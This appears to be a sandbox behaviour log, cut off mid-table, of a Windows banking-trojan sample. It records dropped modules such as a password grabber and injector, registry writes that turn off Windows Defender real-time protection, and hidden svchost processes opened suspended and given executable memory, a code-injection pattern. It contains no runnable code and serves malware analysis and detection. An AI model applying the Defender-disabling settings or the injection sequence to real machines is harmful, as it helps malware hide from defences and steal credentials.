Get Info C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata\Data\networkDll32_configs\dpost type = time True 1
Fn
Get Info C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata\Data\psfin32_configs\dpost type = time True 1
Fn
Get Info C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata\Data\injectDll32 type = time True 1
Fn
Get Info C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata\Data\networkDll32 type = time True 1
Fn
Get Info C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata\Data\psfin32 type = time True 1
Fn
Get Info C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata\Data\pwgrab32 type = time True 1
Fn
Get Info C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata\Data\shareDll32 type = time True 1
Fn
Get Info C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata\Data\systeminfo32 type = time True 1
Fn
Get Info C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata\Data\wormDll32 type = time True 1
Fn
Open STD_INPUT_HANDLE - True 1
Fn
Open STD_OUTPUT_HANDLE - True 1
Fn
Open STD_ERROR_HANDLE - True 1
Fn
Read settings.ini size = 18319, size_out = 18319 True 1
Fn
Data
Write settings.ini size = 12 True 2
Fn
Data
Write settings.ini size = 2 True 249
Fn
Data
Write settings.ini size = 36 True 8
Fn
Data
Write settings.ini size = 48 True 5
Fn
Data
Write settings.ini size = 68 True 5
Fn
Data
Write settings.ini size = 65 True 3
Fn
Data
Write settings.ini size = 43 True 5
Fn
Data
Write settings.ini size = 71 True 2
Fn
Data
Write settings.ini size = 53 True 3
Fn
Data
Write settings.ini size = 75 True 3
Fn
Data
Write settings.ini size = 21 True 7
Fn
Data
Write settings.ini size = 61 True 4
Fn
Data
Write settings.ini size = 45 True 3
Fn
Data
Write settings.ini size = 41 True 4
Fn
Data
Write settings.ini size = 23 True 4
Fn
Data
Write settings.ini size = 83 True 5
Fn
Data
Write settings.ini size = 34 True 4
Fn
Data
Write settings.ini size = 24 True 4
Fn
Data
Write settings.ini size = 31 True 3
Fn
Data
Write settings.ini size = 49 True 3
Fn
Data
Write settings.ini size = 54 True 2
Fn
Data
Write settings.ini size = 38 True 4
Fn
Data
Write settings.ini size = 57 True 2
Fn
Data
Write settings.ini size = 67 True 6
Fn
Data
Write settings.ini size = 29 True 7
Fn
Data
Write settings.ini size = 80 True 4
Fn
Data
Write settings.ini size = 33 True 2
Fn
Data
Write settings.ini size = 17 True 3
Fn
Data
Write settings.ini size = 81 True 7
Fn
Data
Write settings.ini size = 85 True 4
Fn
Data
Write settings.ini size = 62 True 4
Fn
Data
Write settings.ini size = 72 True 4
Fn
Data
Write settings.ini size = 66 True 3
Fn
Data
Write settings.ini size = 77 True 4
Fn
Data
Write settings.ini size = 63 True 7
Fn
Data
Write settings.ini size = 76 True 4
Fn
Data
Write settings.ini size = 58 True 4
Fn
Data
Write settings.ini size = 78 True 3
Fn
Data
Write settings.ini size = 15 True 3
Fn
Data
Write settings.ini size = 19 True 4
Fn
Data
Write settings.ini size = 26 True 4
Fn
Data
Write settings.ini size = 22 True 3
Fn
Data
Write settings.ini size = 13 True 2
Fn
Data
Write settings.ini size = 70 True 4
Fn
Data
Write settings.ini size = 47 True 2
Fn
Data
Write settings.ini size = 64 True 1
Fn
Data
Write settings.ini size = 27 True 1
Fn
Data
Write settings.ini size = 37 True 2
Fn
Data
Write settings.ini size = 87 True 1
Fn
Data
Write settings.ini size = 18 True 5
Fn
Data
Write settings.ini size = 14 True 1
Fn
Data
Write settings.ini size = 52 True 2
Fn
Data
Write settings.ini size = 39 True 2
Fn
Data
Write settings.ini size = 91 True 1
Fn
Data
Write settings.ini size = 11 True 1
Fn
Data
Write settings.ini size = 16 True 4
Fn
Data
Write settings.ini size = 74 True 3
Fn
Data
Write settings.ini size = 86 True 2
Fn
Data
Write settings.ini size = 69 True 4
Fn
Data
Write settings.ini size = 55 True 3
Fn
Data
Write settings.ini size = 56 True 3
Fn
Data
Write settings.ini size = 88 True 1
Fn
Data
Write settings.ini size = 28 True 1
Fn
Data
Write settings.ini size = 44 True 3
Fn
Data
Write settings.ini size = 20 True 3
Fn
Data
Write settings.ini size = 32 True 4
Fn
Data
Write settings.ini size = 79 True 3
Fn
Data
Write settings.ini size = 51 True 3
Fn
Data
Write settings.ini size = 35 True 3
Fn
Data
Write settings.ini size = 73 True 3
Fn
Data
Write settings.ini size = 30 True 1
Fn
Data
Write settings.ini size = 46 True 3
Fn
Data
Write settings.ini size = 25 True 4
Fn
Data
Write settings.ini size = 117 True 1
Fn
Data
Write settings.ini size = 169 True 1
Fn
Data
Write settings.ini size = 10 True 1
Fn
Data
Write settings.ini size = 2668 True 1
Fn
Data
Write settings.ini size = 40 True 1
Fn
Data
Write settings.ini size = 42 True 3
Fn
Data
Write C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata\Data\systeminfo32 size = 16560 True 1
Fn
Data
Write C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata\Data\systeminfo32 size = 16560 True 1
Fn
Data
Write C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata\Data\injectDll32 size = 592832 True 1
Fn
Data
Write C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata\Data\injectDll32_configs\dinj size = 132640 True 1
Fn
Data
Write C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata\Data\injectDll32_configs\sinj size = 85424 True 1
Fn
Data
Write C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata\Data\injectDll32_configs\dpost size = 928 True 1
Fn
Data
Write C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata\Data\pwgrab32 size = 1119072 True 1
Fn
Write C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata\Data\pwgrab32_configs\dpost size = 928 True 1
Fn
Data
Write settings.ini size = 12 True 2
Fn
Data
Write settings.ini size = 2 True 300
Fn
Data
Write settings.ini size = 36 True 8
Fn
Data
Write settings.ini size = 48 True 5
Fn
Data
Write settings.ini size = 68 True 7
Fn
Data
Write settings.ini size = 65 True 4
Fn
Data
Write settings.ini size = 43 True 6
Fn
Data
Write settings.ini size = 71 True 3
Fn
Data
Write settings.ini size = 53 True 3
Fn
Data
Write settings.ini size = 75 True 3
Fn
Data
Write settings.ini size = 21 True 7
Fn
Data
Write settings.ini size = 61 True 5
Fn
Data
Write settings.ini size = 45 True 3
Fn
Data
Write settings.ini size = 41 True 4
Fn
Data
Write settings.ini size = 23 True 5
Fn
Data
Write settings.ini size = 83 True 6
Fn
Data
Write settings.ini size = 34 True 4
Fn
Data
Write settings.ini size = 24 True 5
Fn
Data
Write settings.ini size = 31 True 3
Fn
Data
Write settings.ini size = 49 True 4
Fn
Data
Write settings.ini size = 54 True 3
Fn
Data
Write settings.ini size = 38 True 5
Fn
Data
Write settings.ini size = 57 True 2
Fn
Data
Write settings.ini size = 67 True 7
Fn
Data
Write settings.ini size = 29 True 10
Fn
Data
Write settings.ini size = 80 True 5
Fn
Data
Write settings.ini size = 33 True 2
Fn
Data
Write settings.ini size = 17 True 4
Fn
Data
Write settings.ini size = 81 True 8
Fn
Data
Write settings.ini size = 85 True 5
Fn
Data
Write settings.ini size = 62 True 5
Fn
Data
Write settings.ini size = 72 True 5
Fn
Data
Write settings.ini size = 66 True 3
Fn
Data
Write settings.ini size = 77 True 4
Fn
Data
Write settings.ini size = 63 True 9
Fn
Data
Write settings.ini size = 76 True 6
Fn
Data
Write settings.ini size = 58 True 6
Fn
Data
Write settings.ini size = 78 True 4
Fn
Data
Write settings.ini size = 15 True 3
Fn
Data
Write settings.ini size = 19 True 5
Fn
Data
Write settings.ini size = 26 True 5
Fn
Data
Write settings.ini size = 22 True 3
Fn
Data
Write settings.ini size = 13 True 2
Fn
Data
Write settings.ini size = 70 True 6
Fn
Data
Write settings.ini size = 47 True 2
Fn
Data
Write settings.ini size = 64 True 2
Fn
Data
Write settings.ini size = 27 True 3
Fn
Data
Write settings.ini size = 37 True 2
Fn
Data
Write settings.ini size = 87 True 1
Fn
Data
Write settings.ini size = 18 True 5
Fn
Data
Write settings.ini size = 14 True 2
Fn
Data
Write settings.ini size = 52 True 2
Fn
Data
Write settings.ini size = 39 True 2
Fn
Data
Write settings.ini size = 91 True 1
Fn
Data
Write settings.ini size = 11 True 1
Fn
Data
Write settings.ini size = 16 True 4
Fn
Data
Write settings.ini size = 74 True 4
Fn
Data
Write settings.ini size = 86 True 3
Fn
Data
Write settings.ini size = 69 True 5
Fn
Data
Write settings.ini size = 55 True 4
Fn
Data
Write settings.ini size = 56 True 3
Fn
Data
Write settings.ini size = 88 True 1
Fn
Data
Write settings.ini size = 28 True 1
Fn
Data
Write settings.ini size = 44 True 3
Fn
Data
Write settings.ini size = 20 True 3
Fn
Data
Write settings.ini size = 32 True 5
Fn
Data
Write settings.ini size = 79 True 3
Fn
Data
Write settings.ini size = 51 True 4
Fn
Data
Write settings.ini size = 35 True 5
Fn
Data
Write settings.ini size = 73 True 4
Fn
Data
Write settings.ini size = 30 True 1
Fn
Data
Write settings.ini size = 46 True 4
Fn
Data
Write settings.ini size = 25 True 5
Fn
Data
Write settings.ini size = 117 True 1
Fn
Data
Write settings.ini size = 169 True 1
Fn
Data
Write settings.ini size = 10 True 1
Fn
Data
Write settings.ini size = 2860 True 1
Fn
Data
Write settings.ini size = 40 True 2
Fn
Data
Write settings.ini size = 42 True 4
Fn
Data
Write settings.ini size = 50 True 1
Fn
Data
Write - size = 19120 True 1
Fn
Data
Write C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata\Data\networkDll32_configs\dpost size = 928 True 1
Fn
Data
Write - size = 18608 True 1
Fn
Data
Write C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata\Data\psfin32_configs\dpost size = 928 True 1
Fn
Data
Write - size = 10464 True 1
Fn
Data
Write - size = 53024 True 1
Fn
Data
Write C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata\Data\injectDll32_configs\dinj size = 132640 True 1
Fn
Data
Write C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata\Data\injectDll32_configs\sinj size = 85424 True 1
Fn
Data
Registry (9)
»
Operation Key Additional Information Success Count Logfile
Create Key HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender - True 1
Fn
Create Key HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection - True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender - True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection - True 1
Fn
Write Value HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender value_name = DisableAntiSpyware, data = 1, size = 4, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Write Value HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection value_name = DisableBehaviorMonitoring, data = 1, size = 4, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Write Value HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection value_name = DisableOnAccessProtection, data = 1, size = 4, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Write Value HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection value_name = DisableOnRealtimeEnable, data = 1, size = 4, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Write Value HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection value_name = DisableIOAVProtection, data = 1, size = 4, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Process (1243)
»
Operation Process Additional Information Success Count Logfile
Create cmd show_window = SW_HIDE True 1
Fn
Create cmd show_window = SW_HIDE True 1
Fn
Create cmd show_window = SW_HIDE True 1
Fn
Create svchost.exe os_pid = 0x4d8, creation_flags = CREATE_SUSPENDED, CREATE_NORMAL_PRIORITY_CLASS, CREATE_UNICODE_ENVIRONMENT, CREATE_NO_WINDOW, startup_flags = STARTF_USESHOWWINDOW, STARTF_FORCEOFFFEEDBACK, show_window = SW_HIDE True 1
Fn
Create svchost.exe os_pid = 0xa60, creation_flags = CREATE_SUSPENDED, CREATE_NORMAL_PRIORITY_CLASS, CREATE_UNICODE_ENVIRONMENT, CREATE_NO_WINDOW, startup_flags = STARTF_USESHOWWINDOW, STARTF_FORCEOFFFEEDBACK, show_window = SW_HIDE True 1
Fn
Create svchost.exe os_pid = 0x110, creation_flags = CREATE_SUSPENDED, startup_flags = STARTF_USESHOWWINDOW, STARTF_FORCEOFFFEEDBACK, show_window = SW_SHOWNOACTIVATE True 1
Fn
Create svchost.exe os_pid = 0x6d8, creation_flags = CREATE_SUSPENDED, CREATE_NORMAL_PRIORITY_CLASS, CREATE_UNICODE_ENVIRONMENT, CREATE_NO_WINDOW, startup_flags = STARTF_USESHOWWINDOW, STARTF_FORCEOFFFEEDBACK, show_window = SW_HIDE True 1
Fn
Create svchost.exe os_pid = 0xa70, creation_flags = CREATE_SUSPENDED, CREATE_NORMAL_PRIORITY_CLASS, CREATE_UNICODE_ENVIRONMENT, CREATE_NO_WINDOW, startup_flags = STARTF_USESHOWWINDOW, STARTF_FORCEOFFFEEDBACK, show_window = SW_HIDE True 1
Fn
Create svchost.exe os_pid = 0xb28, creation_flags = CREATE_SUSPENDED, CREATE_NORMAL_PRIORITY_CLASS, CREATE_UNICODE_ENVIRONMENT, CREATE_NO_WINDOW, startup_flags = STARTF_USESHOWWINDOW, STARTF_FORCEOFFFEEDBACK, show_window = SW_HIDE True 1
Fn
Create svchost.exe os_pid = 0xda0, creation_flags = CREATE_SUSPENDED, CREATE_NORMAL_PRIORITY_CLASS, CREATE_UNICODE_ENVIRONMENT, CREATE_NO_WINDOW, startup_flags = STARTF_USESHOWWINDOW, STARTF_FORCEOFFFEEDBACK, show_window = SW_HIDE True 1
Fn
Create svchost.exe os_pid = 0x748, creation_flags = CREATE_SUSPENDED, startup_flags = STARTF_USESHOWWINDOW, STARTF_FORCEOFFFEEDBACK, show_window = SW_SHOWNOACTIVATE True 1
Fn
Enumerate Processes - - True 1182
Fn
Enumerate Processes - - False 21
Fn
Get Info c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe type = PROCESS_BASIC_INFORMATION True 1
Fn
Get Info svchost.exe type = PROCESS_BASIC_INFORMATION True 1
Fn
Get Info svchost.exe type = PROCESS_BASIC_INFORMATION True 1
Fn
Get Info svchost.exe type = PROCESS_BASIC_INFORMATION True 1
Fn
Get Info svchost.exe type = PROCESS_BASIC_INFORMATION True 1
Fn
Get Info svchost.exe type = PROCESS_BASIC_INFORMATION True 1
Fn
Get Info svchost.exe type = PROCESS_BASIC_INFORMATION True 1
Fn
Get Info svchost.exe type = PROCESS_BASIC_INFORMATION True 1
Fn
Get Info svchost.exe type = PROCESS_BASIC_INFORMATION True 1
Fn
Open c:\windows\explorer.exe desired_access = PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\explorer.exe desired_access = PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\explorer.exe desired_access = PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\explorer.exe desired_access = PROCESS_QUERY_INFORMATION True 2
Fn
Open c:\windows\explorer.exe desired_access = PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\explorer.exe desired_access = PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\explorer.exe desired_access = PROCESS_QUERY_INFORMATION True 2
Fn
Open c:\windows\explorer.exe desired_access = PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\explorer.exe desired_access = PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\explorer.exe desired_access = PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\explorer.exe desired_access = PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\explorer.exe desired_access = PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\explorer.exe desired_access = PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\explorer.exe desired_access = PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\explorer.exe desired_access = PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\explorer.exe desired_access = PROCESS_QUERY_INFORMATION True 2
Fn
Open c:\windows\explorer.exe desired_access = PROCESS_QUERY_INFORMATION True 1
Fn
Thread (8)
»
Operation Process Additional Information Success Count Logfile
Resume c:\windows\system32\svchost.exe os_tid = 0x9e8 True 1
Fn
Resume c:\windows\system32\svchost.exe os_tid = 0xa94 True 1
Fn
Resume c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe os_tid = 0x264 True 1
Fn
Resume c:\windows\system32\svchost.exe os_tid = 0x524 True 1
Fn
Resume c:\windows\system32\svchost.exe os_tid = 0xa6c True 1
Fn
Resume c:\windows\system32\svchost.exe os_tid = 0xb38 True 1
Fn
Resume c:\windows\system32\svchost.exe os_tid = 0xd90 True 1
Fn
Resume c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe os_tid = 0x264 True 1
Fn
Memory (7294)
»
Operation Process Additional Information Success Count Logfile
Allocate svchost.exe address = 327680, allocation_type = MEM_COMMIT, MEM_RESERVE, protection = PAGE_EXECUTE_READWRITE, size = 367 True 1
Fn
Allocate svchost.exe address = 393216, allocation_type = MEM_COMMIT, MEM_RESERVE, protection = PAGE_EXECUTE_READWRITE, size = 112 True 1
Fn
Allocate svchost.exe address = 268435456, allocation_type = MEM_RESERVE, protection = PAGE_EXECUTE_READWRITE, size = 28672 True 1
Fn
Allocate svchost.exe address = 268435456, allocation_type = MEM_COMMIT, protection = PAGE_READWRITE, size = 1024 True 1
Fn
Allocate svchost.exe address = 268439552, allocation_type = MEM_COMMIT, protection = PAGE_READWRITE, size = 10240 True 1
Fn
Allocate svchost.exe address = 268451840, allocation_type = MEM_COMMIT, protection = PAGE_READWRITE, size = 3584 True 1
Fn
Allocate svchost.exe address = 268455936, allocation_type = MEM_COMMIT, protection = PAGE_READWRITE, size = 1004 True 1
Fn
Allocate svchost.exe address = 268460032, allocation_type = MEM_COMMIT, protection = PAGE_READWRITE, size = 1024 True 1
Fn
Allocate svchost.exe address = 131072, allocation_type = MEM_COMMIT, MEM_RESERVE, protection = PAGE_EXECUTE_READWRITE, size = 26 True 4
Fn
Allocate svchost.exe address = 917504, allocation_type = MEM_COMMIT, MEM_RESERVE, protection = PAGE_EXECUTE_READWRITE, size = 12 True 7
Fn
Allocate svchost.exe address = 131072, allocation_type = MEM_COMMIT, MEM_RESERVE, protection = PAGE_EXECUTE_READWRITE, size = 17 True 7
Fn
Allocate svchost.exe address = 917504, allocation_type = MEM_COMMIT, MEM_RESERVE, protection = PAGE_EXECUTE_READWRITE, size = 16 True 45
Fn
Allocate svchost.exe address = 131072, allocation_type = MEM_COMMIT, MEM_RESERVE, protection = PAGE_EXECUTE_READWRITE, size = 14 True 3
Fn
Allocate svchost.exe address = 131072, allocation_type = MEM_COMMIT, MEM_RESERVE, protection = PAGE_EXECUTE_READWRITE, size = 15 True 4
Fn
Allocate svchost.exe address = 131072, allocation_type = MEM_COMMIT, MEM_RESERVE, protection = PAGE_EXECUTE_READWRITE, size = 20 True 6
Fn
Allocate svchost.exe address = 131072, allocation_type = MEM_COMMIT, MEM_RESERVE, protection = PAGE_EXECUTE_READWRITE, size = 9 True 2
Fn
Allocate svchost.exe address = 131072, allocation_type = MEM_COMMIT, MEM_RESERVE, protection = PAGE_EXECUTE_READWRITE, size = 12 True 5
Fn
Allocate svchost.exe address = 131072, allocation_type = MEM_COMMIT, MEM_RESERVE, protection = PAGE_EXECUTE_READWRITE, size = 10 True 2
Fn
Allocate svchost.exe address = 131072, allocation_type = MEM_COMMIT, MEM_RESERVE, protection = PAGE_EXECUTE_READWRITE, size = 25 True 1
Fn
Allocate svchost.exe address = 131072, allocation_type = MEM_COMMIT, MEM_RESERVE, protection = PAGE_EXECUTE_READWRITE, size = 18 True 2
Fn
Allocate svchost.exe address = 131072, allocation_type = MEM_COMMIT, MEM_RESERVE, protection = PAGE_EXECUTE_READWRITE, size = 24 True 4
Fn
Allocate svchost.exe address = 131072, allocation_type = MEM_COMMIT, MEM_RESERVE, protection = PAGE_EXECUTE_READWRITE, size = 19 True 2
Fn
Allocate svchost.exe address = 131072, allocation_type = MEM_COMMIT, MEM_RESERVE, protection = PAGE_EXECUTE_READWRITE, size = 13 True 4
Fn
Allocate svchost.exe address = 131072, allocation_type = MEM_COMMIT, MEM_RESERVE, protection = PAGE_EXECUTE_READWRITE, size = 27 True 1
Fn
Allocate svchost.exe address = 131072, allocation_type = MEM_COMMIT, MEM_RESERVE, protection = PAGE_EXECUTE_READWRITE, size = 6 True 1
Fn
Allocate svchost.exe address = 131072, allocation_type = MEM_COMMIT, MEM_RESERVE, protection = PAGE_EXECUTE_READWRITE, size = 28 True 1
Fn
Allocate svchost.exe address = 131072, allocation_type = MEM_COMMIT, MEM_RESERVE, protection = PAGE_EXECUTE_READWRITE, size = 21 True 2
Fn
Allocate svchost.exe address = 131072, allocation_type = MEM_COMMIT, MEM_RESERVE, protection = PAGE_EXECUTE_READWRITE, size = 16 True 4
Fn
Allocate svchost.exe address = 131072, allocation_type = MEM_COMMIT, MEM_RESERVE, protection = PAGE_EXECUTE_READWRITE, size = 22 True 1
Fn
Allocate svchost.exe address = 131072, allocation_type = MEM_COMMIT, MEM_RESERVE, protection = PAGE_EXECUTE_READWRITE, size = 11 True 1
Fn
Allocate svchost.exe address = 131072, allocation_type = MEM_COMMIT, MEM_RESERVE, protection = PAGE_EXECUTE_READWRITE, size = 5 True 1
Fn
Allocate svchost.exe address = 131072, allocation_type = MEM_COMMIT, MEM_RESERVE, protection = PAGE_EXECUTE_READWRITE, size = 7 True 1
Fn
Allocate svchost.exe address = 917504, allocation_type = MEM_COMMIT, MEM_RESERVE, protection = PAGE_EXECUTE_READWRITE, size = 1024 True 1
Fn
Allocate svchost.exe address = 1310720, allocation_type = MEM_COMMIT, MEM_RESERVE, protection = PAGE_EXECUTE_READWRITE, size = 388 True 1
Fn
Allocate svchost.exe address = 1376256, allocation_type = MEM_COMMIT, MEM_RESERVE, protection = PAGE_EXECUTE_READWRITE, size = 40 True 1
Fn
Allocate svchost.exe address = 327680, allocation_type = MEM_COMMIT, MEM_RESERVE, protection = PAGE_EXECUTE_READWRITE, size = 367 True 1
Fn
Allocate svchost.exe address = 393216, allocation_type = MEM_COMMIT, MEM_RESERVE, protection = PAGE_EXECUTE_READWRITE, size = 112 True 1
Fn
Allocate svchost.exe address = 268435456, allocation_type = MEM_RESERVE, protection = PAGE_EXECUTE_READWRITE, size = 28672 True 1
Fn
Allocate svchost.exe address = 268435456, allocation_type = MEM_COMMIT, protection = PAGE_READWRITE, size = 1024 True 1
Fn
Allocate svchost.exe address = 268439552, allocation_type = MEM_COMMIT, protection = PAGE_READWRITE, size = 10240 True 1
Fn
Allocate svchost.exe address = 268451840, allocation_type = MEM_COMMIT, protection = PAGE_READWRITE, size = 3584 True 1
Fn
Allocate svchost.exe address = 268455936, allocation_type = MEM_COMMIT, protection = PAGE_READWRITE, size = 1004 True 1
Fn
Allocate svchost.exe address = 268460032, allocation_type = MEM_COMMIT, protection = PAGE_READWRITE, size = 1024 True 1
Fn
Allocate svchost.exe address = 131072, allocation_type = MEM_COMMIT, MEM_RESERVE, protection = PAGE_EXECUTE_READWRITE, size = 26 True 4
Fn
Allocate svchost.exe address = 458752, allocation_type = MEM_COMMIT, MEM_RESERVE, protection = PAGE_EXECUTE_READWRITE, size = 12 True 7
Fn
Allocate svchost.exe address = 131072, allocation_type = MEM_COMMIT, MEM_RESERVE, protection = PAGE_EXECUTE_READWRITE, size = 17 True 7
Fn
Allocate svchost.exe address = 458752, allocation_type = MEM_COMMIT, MEM_RESERVE, protection = PAGE_EXECUTE_READWRITE, size = 16 True 45
Fn
Allocate svchost.exe address = 131072, allocation_type = MEM_COMMIT, MEM_RESERVE, protection = PAGE_EXECUTE_READWRITE, size = 14 True 4
Fn
Allocate svchost.exe address = 131072, allocation_type = MEM_COMMIT, MEM_RESERVE, protection = PAGE_EXECUTE_READWRITE, size = 15 True 4
Fn
Allocate svchost.exe address = 131072, allocation_type = MEM_COMMIT, MEM_RESERVE, protection = PAGE_EXECUTE_READWRITE, size = 20 True 5
Fn
Allocate svchost.exe address = 131072, allocation_type = MEM_COMMIT, MEM_RESERVE, protection = PAGE_EXECUTE_READWRITE, size = 9 True 2
Fn
Allocate svchost.exe address = 131072, allocation_type = MEM_COMMIT, MEM_RESERVE, protection = PAGE_EXECUTE_READWRITE, size = 12 True 5
Fn
Allocate svchost.exe address = 131072, allocation_type = MEM_COMMIT, MEM_RESERVE, protection = PAGE_EXECUTE_READWRITE, size = 10 True 2
Fn
Allocate svchost.exe address = 131072, allocation_type = MEM_COMMIT, MEM_RESERVE, protection = PAGE_EXECUTE_READWRITE, size = 25 True 1
Fn
Allocate svchost.exe address = 131072, allocation_type = MEM_COMMIT, MEM_RESERVE, protection = PAGE_EXECUTE_READWRITE, size = 18 True 2
Fn
Allocate svchost.exe address = 131072, allocation_type = MEM_COMMIT, MEM_RESERVE, protection = PAGE_EXECUTE_READWRITE, size = 24 True 4
Fn
Allocate svchost.exe address = 131072, allocation_type = MEM_COMMIT, MEM_RESERVE, protection = PAGE_EXECUTE_READWRITE, size = 19 True 2
Fn
Allocate svchost.exe address = 131072, allocation_type = MEM_COMMIT, MEM_RESERVE, protection = PAGE_EXECUTE_READWRITE, size = 13 True 4
Fn
Allocate svchost.exe address = 131072, allocation_type = MEM_COMMIT, MEM_RESERVE, protection = PAGE_EXECUTE_READWRITE, size = 27 True 1
Fn
Allocate svchost.exe address = 131072, allocation_type = MEM_COMMIT, MEM_RESERVE, protection = PAGE_EXECUTE_READWRITE, size = 6 True 1
Fn
Allocate svchost.exe address = 131072, allocation_type = MEM_COMMIT, MEM_RESERVE, protection = PAGE_EXECUTE_READWRITE, size = 28 True 1
Fn
Allocate svchost.exe address = 131072, allocation_type = MEM_COMMIT, MEM_RESERVE, protection = PAGE_EXECUTE_READWRITE, size = 21 True 2
Fn
Allocate svchost.exe address = 131072, allocation_type = MEM_COMMIT, MEM_RESERVE, protection = PAGE_EXECUTE_READWRITE, size = 16 True 4
Fn
Allocate svchost.exe address = 131072, allocation_type = MEM_COMMIT, MEM_RESERVE, protection = PAGE_EXECUTE_READWRITE, size = 22 True 1
Fn
Allocate svchost.exe address = 131072, allocation_type = MEM_COMMIT, MEM_RESERVE, protection = PAGE_EXECUTE_READWRITE, size = 11 True 1
Fn
Allocate svchost.exe address = 131072, allocation_type = MEM_COMMIT, MEM_RESERVE, protection = PAGE_EXECUTE_READWRITE, size = 5 True 1
Fn
Allocate svchost.exe address = 131072, allocation_type = MEM_COMMIT, MEM_RESERVE, protection = PAGE_EXECUTE_READWRITE, size = 7 True 1
Fn
Allocate svchost.exe address = 458752, allocation_type = MEM_COMMIT, MEM_RESERVE, protection = PAGE_EXECUTE_READWRITE, size = 1024 True 2
Fn
Allocate svchost.exe address = 1048576, allocation_type = MEM_COMMIT, MEM_RESERVE, protection = PAGE_EXECUTE_READWRITE, size = 388 True 1
Fn
Allocate svchost.exe address = 3473408, allocation_type = MEM_COMMIT, MEM_RESERVE, protection = PAGE_EXECUTE_READWRITE, size = 40 True 1
Fn
Allocate svchost.exe address = 3538944, allocation_type = MEM_COMMIT, MEM_RESERVE, protection = PAGE_EXECUTE_READWRITE, size = 20 True 1
Fn
Allocate svchost.exe address = 1048576, allocation_type = MEM_COMMIT, MEM_RESERVE, protection = PAGE_EXECUTE_READWRITE, size = 128 True 1
Fn
Allocate svchost.exe address = 3473408, allocation_type = MEM_COMMIT, MEM_RESERVE, protection = PAGE_EXECUTE_READWRITE, size = 8 True 1
Fn
Allocate svchost.exe address = 3604480, allocation_type = MEM_COMMIT, MEM_RESERVE, protection = PAGE_EXECUTE_READWRITE, size = 44 True 1
Fn
Allocate svchost.exe address = 327680, allocation_type = MEM_COMMIT, MEM_RESERVE, protection = PAGE_EXECUTE_READWRITE, size = 367 True 1
Fn
Allocate svchost.exe address = 393216, allocation_type = MEM_COMMIT, MEM_RESERVE, protection = PAGE_EXECUTE_READWRITE, size = 112 True 1
Fn
Allocate svchost.exe address = 268435456, allocation_type = MEM_RESERVE, protection = PAGE_EXECUTE_READWRITE, size = 618496 True 1
Fn
Allocate svchost.exe address = 268435456, allocation_type = MEM_COMMIT, protection = PAGE_READWRITE, size = 1024 True 1
Fn
Allocate svchost.exe address = 268439552, allocation_type = MEM_COMMIT, protection = PAGE_READWRITE, size = 343040 True 1
Fn
Allocate svchost.exe address = 268783616, allocation_type = MEM_COMMIT, protection = PAGE_READWRITE, size = 80384 True 1
Fn
Allocate svchost.exe address = 268865536, allocation_type = MEM_COMMIT, protection = PAGE_READWRITE, size = 165288 True 1
Fn
Allocate svchost.exe address = 269033472, allocation_type = MEM_COMMIT, protection = PAGE_READWRITE, size = 512 True 1
Fn
Allocate svchost.exe address = 269037568, allocation_type = MEM_COMMIT, protection = PAGE_READWRITE, size = 512 True 1
Fn
Allocate svchost.exe address = 269041664, allocation_type = MEM_COMMIT, protection = PAGE_READWRITE, size = 12288 True 1
Fn
Allocate svchost.exe address = 131072, allocation_type = MEM_COMMIT, MEM_RESERVE, protection = PAGE_EXECUTE_READWRITE, size = 26 True 7
Fn
Allocate svchost.exe address = 917504, allocation_type = MEM_COMMIT, MEM_RESERVE, protection = PAGE_EXECUTE_READWRITE, size = 12 True 11
Fn
